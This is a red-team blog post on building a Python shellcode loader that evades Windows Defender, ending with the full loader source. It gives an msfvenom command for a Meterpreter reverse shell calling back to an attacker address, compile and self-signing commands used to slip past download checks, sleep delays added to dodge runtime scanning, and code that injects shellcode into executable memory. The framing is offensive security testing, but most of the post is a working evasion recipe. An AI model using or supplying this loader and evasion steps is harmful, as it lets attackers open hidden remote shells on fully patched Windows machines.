Pythonic Malware: Evading Detection with Compiled Executables
Creating Python executables during an offensive security engagement used to be an effective method of evasion. However, this tactic has become increasingly difficult on modern Windows endpoints.
In fact, even benign programs seem to get blocked immediately after touching disk. This is just one of the reasons red teamers have moved away from popular frameworks such as Veil-Evasion and onto bigger-better things.
This post revisits compiled Pythons use in offensive security testing and shares my experiences launching Meterpreter shells on a fully patched Windows 10 system against Windows Defender.
Malware Creation
Given my primary focus was on evasion tactics in the compiled executable, I created a simple shellcode loader as my “malware”. The script called common Windows functions such as VirtualAlloc
& CreateThread
to inject shellcode locally within the current process.
The payload itself utilized a reverse_https
connection over port 443 and was generated by MSFVenom, without any encoding or obfuscation techniques:
1
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.157 LPORT=443 -f py
At this point, I didnt have much faith in the code and thought it was sure to get detected. However, when attempting to execute the Python script directly, no alerts were triggered and a reverse connection was established.
Compiling Python
Despite triggering a successful Meterpreter shell, we cant rely on Python being installed on every Windows workstation. Therefore, the next step is to compile the source code — making it executable without needing any additional resources on the host.
Compiling Python is performed using tools like pyinstaller
, py2exe
, or cx_freeze
. These work by wrapping the bytecode version (.pyc
) of the script and all required dependencies/interpreters into a single .exe
file:
1
pyinstaller --onefile .\shellcode_loader.py
Unfortunately, when downloading the newly compiled shellcode_loader.exe
onto the target system, I didnt get very far before receiving the following alert:
Evading Detection
Code Signing
At this point, I thought about potential strategies to avoid detection and looked into signing the executable with a self-signed certificate.
Using the Visual Studio Developer Command Prompt, I executed the following commands to generate a certificate and sign the shellcode_loader.exe
file.
1
2
3
>> makecert /r /h 0 /eku "1.3.6.1.5.5.7.3.3,1.3.6.1.4.1.311.10.3.13" /e 12/12/2025 /sv m8.pvk m8.cer
>> pvk2pfx /pvk m8.pvk /spc m8.cer /pfx m8.pfx
>> signtool sign /a /fd SHA256 /f m8.pfx shellcode_loader.exe
Now, looking at the files properties, “Joes-Software-Emporium” was listed under Digital Signature details— (Microsoft Default). With that, the executable could be downloaded without detection.
Sleep Intervals
Although I was able to download the file, Windows Defender still flagged the program when attempting execution. Thats when I remembered reading F-Secures post about evading Windows Defender Runtime Scanning, which provided lots of great takeaways.
In short, I found adding various sleep intervals between the Win32 API calls bypassed runtime scanning and successfully triggered a working reverse shell.
Conclusion
A compiled Python executable wouldnt be my first choice in a true red teaming engagement. However, this was a fun proof-of-concept and may prove useful in other areas of offensive security testing.
Source Code:
A final copy of my shellcode_loader.py
script is available below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import sys
import ctypes
import hashlib
from time import sleep
import ctypes.wintypes as wt
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
def DecryptXOR(data, key):
# Optional xor decryption method (not in use)
data = bytearray(b64decode(data))
l = len(key)
keyAsInt = [x for x in map(ord, key)]
return bytes(bytearray(((data[i] ^ keyAsInt[i % l]) for i in range(0,len(data)))))
def DecryptAES(data, key):
# Optional AES decryption method (not in use)
data = bytearray(b64decode(data))
key = bytearray(b64decode(key))
iv = 16 * b'\x00'
cipher = AES.new(hashlib.sha256(key).digest(), AES.MODE_CBC, iv)
return cipher.decrypt(pad(data, AES.block_size))
# msfvenom -p windows/x64/meterpreter/reverse_http lhost=0.0.0.0 lport=443 -f py
buf = b""
try:
# Function definitions
kernel32 = ctypes.windll.kernel32
kernel32.VirtualAlloc.argtypes = (wt.LPVOID, ctypes.c_size_t, wt.DWORD, wt.DWORD)
kernel32.VirtualAlloc.restype = wt.LPVOID
kernel32.CreateRemoteThread.argtypes = (wt.HANDLE, wt.LPVOID, ctypes.c_size_t, wt.LPVOID, wt.LPVOID, wt.DWORD, wt.LPVOID)
kernel32.CreateThread.restype = wt.HANDLE
kernel32.RtlMoveMemory.argtypes = (wt.LPVOID, wt.LPVOID, ctypes.c_size_t)
kernel32.RtlMoveMemory.restype = wt.LPVOID
kernel32.WaitForSingleObject.argtypes = (wt.HANDLE, wt.DWORD)
kernel32.WaitForSingleObject.restype = wt.DWORD
# Start Shellcode loader
print("[+] Starting shellcode loader:")
memAddr = kernel32.VirtualAlloc(None, len(buf), 0x3000, 0x40)
print('[*] Allocated memory space at: {:08X}'.format(memAddr))
print('[*] Interval sleep to avoid runtime detection (1/2).')
sleep(5)
kernel32.RtlMoveMemory(memAddr, buf, len(buf))
print('[*] Copied payload into memory.')
print('[*] Interval sleep to avoid runtime detection (2/2).')
sleep(5)
th = kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_void_p(memAddr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
print('[*] Created thread in current process.')
kernel32.WaitForSingleObject(th, -1)
except KeyboardInterrupt:
print("[!] Key detected, closing")
sys.exit(1)
except Exception as e:
print("[-] Error: {}".format(str(e)))
sys.exit(0)